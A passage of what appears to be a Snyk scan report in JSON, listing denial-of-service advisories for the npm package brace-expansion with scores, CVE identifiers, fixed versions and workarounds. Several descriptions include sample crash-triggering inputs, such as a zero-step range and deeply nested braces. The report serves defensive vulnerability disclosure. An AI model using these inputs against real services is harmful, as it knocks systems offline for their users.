Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub 